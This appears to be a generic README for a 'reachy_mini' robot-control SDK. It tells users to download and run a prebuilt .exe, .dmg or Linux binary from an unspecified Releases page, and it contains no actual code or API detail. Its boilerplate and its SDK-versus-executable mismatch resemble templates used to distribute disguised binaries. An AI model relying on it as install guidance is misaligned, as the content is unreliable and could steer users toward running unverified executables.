🤖 reachy_mini - Control Your Mini Robot Simply

🚀 Getting Started

Welcome to the reachy_mini SDK! This package allows you to control your Reachy Mini robot easily. Follow these steps to get started, even if you're new to programming.

📂 Requirements

Before you begin, make sure your computer meets these requirements:

• Operating System: Windows 10 or later, macOS 10.12 or later, or Linux
• Memory: At least 4 GB of RAM
• Storage: Minimum of 500 MB of free space
• Additional Software: Basic understanding of how to run applications

📥 Download & Install

To download the software, visit the Releases page.

Download reachy_mini here

Here’s how to do it:

1. Click the link above to open the Releases page.
2. Find the latest release. It is usually at the top of the list.
3. Look for the asset that matches your operating system.
   • If you are unsure, typically the file will end with .exe for Windows, .dmg for macOS, or have no extension for Linux.
4. Click on the file link to start the download.
5. Once the download finishes, locate the file on your computer.

🛠️ Installation Steps

After downloading, you need to install the application.

• For Windows Users:

  1. Locate the downloaded .exe file in your Downloads folder.
  2. Double-click the file to start the installation.
  3. Follow the on-screen prompts to complete the installation.

• For macOS Users:

  1. Open the downloaded .dmg file by double-clicking it.
  2. Drag the reachy_mini icon to your Applications folder.

• For Linux Users:

  1. Open a terminal window.
  2. Navigate to the directory where the file is located (usually your Downloads folder).
  3. Make the file executable by running: chmod +x reachy_mini.
  4. Run the application using: ./reachy_mini.

🎉 Running the Software

After installation, you can run reachy_mini:

• For Windows: Search for "reachy_mini" in the Start menu and click to launch.
• For macOS: Open your Applications folder, then double-click on "reachy_mini".
• For Linux: Open a terminal and type ./reachy_mini to start.

📖 User Guide

1. Connect Your Robot: Make sure your Reachy Mini robot is fully charged and powered on.
2. Choose Your Control Method: You can either use the graphical user interface or the command line. If you prefer simplicity, start with the GUI.
3. Follow On-Screen Instructions: The software will guide you through setup. Just follow the prompts to set up controls.

🛠️ Troubleshooting Tips

If you encounter any issues running the software:

• Check Compatibility: Ensure your operating system meets the requirements.
• Reinstall the Software: Uninstall and then reinstall reachy_mini.
• Consult Online Resources: Check the GitHub Issues page for potential solutions.

🤝 Community Support

If you need further assistance, feel free to ask questions. Join our community on GitHub Discussions or look for help in the Issues section.

🌐 Additional Resources

• Official GitHub Repository
• User Manual PDF

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Thank you for choosing reachy_mini! Enjoy controlling your mini robot effortlessly.